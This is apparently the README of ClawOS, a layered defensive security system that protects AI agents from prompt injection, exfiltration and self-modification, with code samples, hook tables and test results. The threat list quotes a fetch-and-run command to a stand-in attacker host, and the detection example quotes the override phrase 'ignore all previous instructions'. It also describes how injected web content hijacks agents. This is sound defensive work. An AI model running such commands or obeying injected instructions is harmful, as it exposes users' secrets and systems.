🛡️ ClawOS

Security Architecture for Autonomous AI Agents

10-layer defense system that protects AI agents from prompt injection, data exfiltration, session corruption, and unauthorized actions. Built for OpenClaw, usable standalone.

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⚡ Fork required: The before_tool_call hook (used by Layer C) is not yet available in upstream OpenClaw. It's implemented in our fork and submitted as PRs #10678, #10679, and #10680 (all CI green, pending maintainer review). The gateway_start lifecycle hook also depends on PR #10679. All other hooks work with upstream OpenClaw.

Why ClawOS?

Autonomous AI agents can browse the web, execute code, send messages, and modify files. This makes them powerful — and dangerous. A single prompt injection hidden in a webpage can hijack an agent into:

• Exfiltrating secrets — API keys, credentials, private messages
• Executing malicious code — curl evil.com/payload | bash
• Impersonating the user — sending messages, emails, tweets
• Destroying data — deleting files, corrupting databases
• Self-modifying — rewriting its own instructions to become permanently compromised

Traditional content filters can't solve this. They pattern-match on known attacks while missing novel ones. ClawOS takes a fundamentally different approach: track where data came from, control what it's allowed to do, and verify everything.

Architecture

ClawOS implements defense-in-depth with 9 independent layers. Each layer operates autonomously — if one fails, the others still protect.

Layer	Name	Function	Status
Canary	Token Tripwire	Exfiltration detection via embedded token	✅ Active
LF	File Write Guard	Block agent writes to critical files (SOUL.md, AGENTS.md, openclaw.json)	✅ Tested
LC	Privilege Separation	Block dangerous tools during active threats	✅ Active
L5	Trust Registry	Hash pinning, signature verification	✅ Active
L4+	External Content Scanner	Indirect prompt injection detection	✅ Active
L4	Signal Detection	50+ attack patterns, advisory-only	✅ Active
L3	Runtime Security	Process isolation, behavioral monitoring	Advisory
L2	Capability Control	Skill manifests, least-privilege permissions	Advisory
L1	Content Tagging	Source tracking, trust level provenance	✅ Active
L0	Session Integrity	State validation, auto-repair, checkpoints	✅ Active

Data Flow

User message ──→ [L1: Tag source=user, trust=owner]
                    │
                    ▼
              ┌──────────────┐
              │ L4: Signal   │ ──→ Advisory: injection? exfiltration?
              │   Detection  │
              └──────────────┘
                    │
                    ▼
              ┌──────────────┐
              │ L2: Check    │ ──→ Does this skill have permission?
              │ Capabilities │
              └──────────────┘
                    │
                    ▼
              ┌──────────────┐
              │ L3: Execute  │ ──→ Sandboxed, monitored, resource-limited
              │ in Sandbox   │
              └──────────────┘
                    │
                    ▼
Tool output ──→ [L4+: Scan external content for injection]
                    │
              ┌──────────────┐
              │ LC: Privilege│ ──→ Threat detected? Block dangerous tools
              │ Separation   │
              └──────────────┘
                    │
                    ▼
              ┌──────────────┐
              │   Canary     │ ──→ Token leaked? Exfiltration confirmed
              │   Check      │
              └──────────────┘
                    │
                    ▼
              ┌──────────────┐
              │ L0: Validate │ ──→ Session intact? Auto-repair    
                                          if broken
              │   Session    │
              └──────────────┘
                    │
                    ▼
              Anthropic API (clean, validated messages)

Layer Details

L0: Session Integrity — Foundation

Content filters, compaction, and API errors can corrupt the message history, creating orphaned tool_result blocks that permanently brick the agent session.

L0 validates and repairs sessions automatically:

import { validate, repair, isValid, createSessionIntegrity } from 'clawos';

// Quick check
if (!isValid(messages)) {
  const result = repair(messages);
  console.log(`Fixed ${result.repairs.length} issues`);
}

// Full validation with details
const validation = validate(messages);
if (!validation.valid) {
  console.log('Orphaned:', validation.orphanedIds);
  console.log('Incomplete:', validation.incompleteIds);
}

// Controller with checkpoints and auto-repair
const integrity = createSessionIntegrity({ autoRepair: true });
integrity.validateOrThrow(session);

Also includes bootstrap file integrity monitoring — critical files are hash-pinned at startup, with modifications triggering alerts based on tier (critical → immediate alert, sensitive → logged, monitored → tracked).

L1: Content Tagging — Provenance

Every piece of data is tagged with its source, trust level, and provenance chain. Trust can only go down, never up — if you mix user input with untrusted web content, the result is untrusted.

import { tag, resolveTrust, merge, userSource, toolSource } from 'clawos';

const userMsg = tag("Hello", userSource("+1234567890"), "user");
const webData = tag(searchResults, toolSource("web_search"), "tool");

// Merge: trust = min(user, tool) = "tool"
const combined = merge([userMsg, webData], summary, agentSource("main"));
console.log(combined.tag.trust); // "tool"

// Trust can only go down
resolveTrust(["user", "untrusted"]); // "untrusted"

L2: Capability Control — Permissions

Skills declare capabilities in manifests. The policy engine enforces least-privilege access.

import { registerManifest, checkPermission, createContext } from 'clawos';

registerManifest({
  id: 'web-search',
  capabilities: [
    { capability: 'net:https', reason: 'Fetch search results', required: true },
  ],
  minInputTrust: 'tool',
  outputTrust: 'tool',
  allowedDomains: ['api.search.com'],
});

const result = checkPermission(getManifest("web-search")!, inputTag);
// result.allowed, result.granted, result.denied

L3: Runtime Security — Isolation

Execute skills in sandboxed environments with resource limits and behavioral monitoring.

import { selectIsolationLevel, createSandboxConfig, BehavioralMonitor } from 'clawos';

// Auto-select isolation based on trust + capabilities
const level = selectIsolationLevel(manifest, inputTag);
// 0 = unrestricted, 1 = child process, 2 = bubblewrap sandbox

const config = createSandboxConfig(manifest, level, '/workspace');
// config.allowedPaths, config.allowedDomains, config.resourceLimits

L4: Signal Detection — Advisory

Scan content for 50+ attack patterns including prompt injection, data exfiltration, encoding tricks, and roleplay attacks. Advisory-only — flags but never blocks.

import { scanForSignals, hasInjectionSignals, createScanner } from 'clawos';

if (hasInjectionSignals("ignore all previous instructions")) {
  console.warn("Injection attempt detected");
}

const signals = scanForSignals(untrustedContent, "untrusted", sessionId);
for (const signal of signals) {
  console.log(`${signal.category}: ${signal.pattern} (${signal.confidence})`);
}

L4+: External Content Scanner — Indirect Injection

Specialized scanner for tool results from web-facing sources (web_fetch, web_search, browser). Detects indirect prompt injection — attacks hidden in webpages, search results, and API responses.

16 external-specific patterns including:

• Hidden instructions targeting AI assistants
• CSS/HTML invisible text injection
• Zero-width character encoding
• Data exfiltration via response manipulation
• Instruction density heuristics

LF: File Write Guard — Critical File Protection

LF unconditionally blocks agent tools (write, edit, exec) from modifying critical files. This protects the agent's identity and configuration from self-modification attacks — even if injection bypasses all other layers.

Protected files (by tier):

Tier	Files	Action
Critical	SOUL.md, AGENTS.md, openclaw.json	Blocked — agent tools cannot modify
Sensitive	USER.md, IDENTITY.md, BOOTSTRAP.md	Logged + alerted
Monitored	HEARTBEAT.md, TOOLS.md	Tracked

🔒 [ClawOS LF] BLOCKED write → SOUL.md (critical).
   This file can only be modified by the gateway or plugin, not by agent tools.

🔒 [ClawOS LF] BLOCKED exec targeting critical file "SOUL.md".
   This file can only be modified by the gateway or plugin.

The gateway and plugins write via fs directly, bypassing the hook — so the human can still edit these files through the gateway config or manually.

Tested and confirmed working (Feb 17, 2026):

• write to SOUL.md → ✅ Blocked
• edit to AGENTS.md → ✅ Blocked
• exec echo > SOUL.md → ✅ Blocked
• Normal file writes → ✅ Pass through

LC: Privilege Separation — Enforcement

When L4+ detects high-severity injection signals in external content, LC immediately restricts dangerous tools for the current turn:

Blocked	Allowed
exec, write, edit	read, web_search
message, gateway	web_fetch, browser
sessions_send	image, process

Restrictions lift automatically on the next user message (fresh trust context) or after a 5-minute TTL safety net.

This is the critical insight: detection without prevention is useless. L4+ detecting an injection means nothing if the agent can still execute arbitrary code. LC is what makes detection actionable.

L5: Trust Registry — Verification

Track trust metadata for skills and dependencies. Hash-pin code, verify signatures, and monitor for vulnerabilities.

import { createTrustRegistry, calculateHash } from 'clawos';

const registry = createTrustRegistry();
await registry.init();

await registry.pin("my-skill", calculateHash(skillCode));

const result = await registry.verify("my-skill", skillCode);
if (!result.verified) {
  console.error(`Blocked: ${result.reason}`);
}

🐤 Canary Token — Tripwire

A unique random token is generated per gateway restart and embedded in the agent's system context. Every tool result is checked for the canary. If it appears in external content, it confirms a prompt injection successfully exfiltrated system context.

This is a detection-only mechanism — it can't prevent exfiltration, but it provides definitive proof that it happened.

OpenClaw Plugin

ClawOS ships as a production plugin for OpenClaw, integrating all 9 layers via gateway hooks:

Hook	Layers	Purpose
gateway_start	L0, L5	Scan all sessions, snapshot protected files
message_received	L4, LC	Scan inbound messages, clear threat state
before_agent_start	L0, L1, L4, 🐤	Validate session, tag context, inject canary
tool_result_persist	L1, L4+, 🐤	Tag results, scan external content, check canary
before_tool_call ⚡	LF, LC	Block critical file writes + dangerous tools during threats

Plugin Commands

Command	Description
/clawos	Full security dashboard — layer status, signal stats, threat state
/clawos-scan	Manual L0 session integrity scan
/clawos-signals	Recent signal detection history
/clawos-integrity	Bootstrap file integrity report

Known Issues

SIGUSR1 hot-reload does not activate before_tool_call hooks

OpenClaw wraps tools with hook interceptors once at process init (wrapToolWithHooks). If hasHooks("before_tool_call") returns false at that point (because plugins hadn't registered yet), the tools get the unwrapped execute(). A later SIGUSR1 hot-reload registers the hooks in the plugin registry, but doesn't re-wrap the already-initialized tools.

Workaround: Always do a full process kill + restart (not SIGUSR1) when deploying changes to before_tool_call hooks (LF, LC).

Impact: LF and LC are completely inactive until the gateway is fully restarted. This is a gap in OpenClaw's hot-reload lifecycle.

Security Lessons

Hard-won lessons from production deployment:

Agent self-verification is unreliable. A compromised agent reports "all clean" because the injection told it to. Only the human operator can verify externally.

Detection without prevention is insufficient. L4+ finding injection signals means nothing if the agent can still exec and write. Layer C makes detection actionable.

Never test injection content in the main session. Use isolated sub-agents for reading untrusted content.

File hash verification must be done by the user, not the agent. Hashes checked by a potentially-compromised agent prove nothing.

Trust flows downhill. Once data touches an untrusted source, it can never be re-elevated. This is a feature, not a bug.

Project Structure

clawos/
├── src/
│   ├── index.ts              # Re-exports all layers
│   ├── pipeline.ts           # Integration pipeline
│   ├── integrity/            # L0: Session Integrity
│   │   ├── types.ts          # Message, Checkpoint, Validation types
│   │   ├── validate.ts       # validate(), isValid(), tool pair checking
│   │   ├── repair.ts         # repair(), repairCopy(), reset()
│   │   ├── checkpoint.ts     # CheckpointManager, MemoryCheckpointStore
│   │   └── session-integrity.ts
│   ├── tagging/              # L1: Content Tagging
│   │   ├── types.ts          # TrustLevel, ContentTag, TaggedContent
│   │   ├── tag.ts            # tag(), merge(), transform(), serialize
│   │   └── sources.ts        # userSource(), toolSource(), SYSTEM_*
│   ├── capabilities/         # L2: Capability Control
│   │   ├── types.ts          # Capability, SkillManifest, OperatorPolicy
│   │   ├── manifest.ts       # validateManifest(), registerManifest()
│   │   └── policy.ts         # checkPermission(), enforce(), createContext()
│   ├── runtime/              # L3: Runtime Security
│   │   ├── types.ts          # SandboxConfig, SandboxResult, AnomalyRule
│   │   ├── sandbox.ts        # spawn(), execute(), killProcess()
│   │   ├── monitor.ts        # BehavioralMonitor, DEFAULT_RULES
│   │   └── isolation.ts      # selectIsolationLevel(), createSandboxConfig()
│   ├── signals/              # L4: Signal Detection
│   │   ├── types.ts          # Signal, ScanResult, PatternDefinition
│   │   ├── patterns.ts       # INJECTION/EXFILTRATION/ENCODING/ROLEPLAY
│   │   ├── scanner.ts        # SignalScanner, detectRepetition()
│   │   ├── emitter.ts        # DefaultSignalEmitter, SignalStore
│   │   └── signal-detection.ts
│   └── registry/             # L5: Trust Registry
│       ├── types.ts          # TrustEntry, VulnerabilityEntry, VerifyResult
│       ├── crypto.ts         # calculateHash(), verifySignature()
│       ├── store.ts          # RegistryStore, TrustCache
│       └── trust-registry.ts # TrustRegistry service
├── tests/                    # 492 tests across 21 files
├── docs/                     # Architecture, API, specs, case studies
└── dist/                     # Compiled output

Test Results

492 tests across 21 files — all passing

 ✓ integrity/validate.test.ts          (13 tests)
 ✓ integrity/repair.test.ts            (8 tests)
 ✓ integrity/checkpoint.test.ts        (29 tests)
 ✓ integrity/session-integrity.test.ts (19 tests)
 ✓ integrity.test.ts                   (26 tests)
 ✓ tagging/tag.test.ts                 (34 tests)
 ✓ tagging/trust.test.ts               (16 tests)
 ✓ tagging/sources.test.ts             (19 tests)
 ✓ tagging.test.ts                     (32 tests)
 ✓ capabilities/policy.test.ts         (14 tests)
 ✓ capabilities/manifest.test.ts       (21 tests)
 ✓ capabilities/enforcement.test.ts    (26 tests)
 ✓ runtime/monitor.test.ts             (20 tests)
 ✓ runtime/isolation.test.ts           (20 tests)
 ✓ signals/scanner.test.ts             (20 tests)
 ✓ signals/emitter.test.ts             (17 tests)
 ✓ registry/crypto.test.ts             (11 tests)
 ✓ integration.test.ts                 (27 tests)
 ✓ plugin/stress.test.ts               (89 tests)  ← 222k msgs/sec

Quickstart

Requirements

• Node.js ≥ 20
• Linux recommended (bubblewrap sandbox in L3 requires it)

Install

git clone https://github.com/yassinebkr/clawos.git
cd clawos
npm install
npm run build

Run Tests

npm test

Basic Usage

import { createPipeline, userSource } from 'clawos';

const pipeline = createPipeline({
  integrity: true,
  tagging: true,
  signals: true,
  capabilities: true,
  registry: true,
});

const result = await pipeline.process({
  content: userInput,
  source: userSource("+1234567890"),
  skillId: "web-search",
});

if (!result.allowed) {
  console.log(`Blocked by ${result.blockedBy}: ${result.reason}`);
}

Design Principles

1. Tag, don't filter — Content is labeled with provenance, not silently dropped
2. Advisory over blocking — Signal detection flags, enforcement layers block
3. Capabilities are explicit — Denied by default, permitted by manifest
4. Isolation is proportional — Lightweight for trusted skills, heavy for untrusted
5. Performance is non-negotiable — <50ms p99 total overhead across all layers
6. Defense in depth — Every layer operates independently; no single point of failure
7. Trust flows downhill — Data touching untrusted sources can never be re-elevated

Roadmap

• Rust rewrite — Memory-safe implementations for L3 (sandbox) and L5 (crypto), timing-safe operations
• Standalone daemon (clawosd) — Rust binary exposing gRPC/Unix socket API, usable by any agent framework
• Layer D: LLM-as-Judge — Second model evaluates whether a response was influenced by injection
• Layer E: Semantic Boundaries — Research frontier — detect when an agent's behavior deviates from its declared intent

Documentation

Document	Description
Architecture	Layer interactions, data flow, design decisions
API Reference	Public exports and signatures for all layers
Layer Specs	Individual specs: L0–L5
OpenClaw Plugin	Production plugin integration guide
Case Study	Session corruption incident analysis
Security Audit	Threat model and audit findings
Changelog	Version history and bug fixes
Testing	Test structure and coverage

Contributing

git clone https://github.com/yassinebkr/clawos.git
cd clawos
npm install
npm test          # Run all 492 tests
npm run build     # Compile TypeScript
npm run lint      # Type-check without emit

See CONTRIBUTING.md for coding standards and PR guidelines.

License

Apache 2.0 — see LICENSE.

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Built by @yassinebkr — because autonomous agents deserve real security.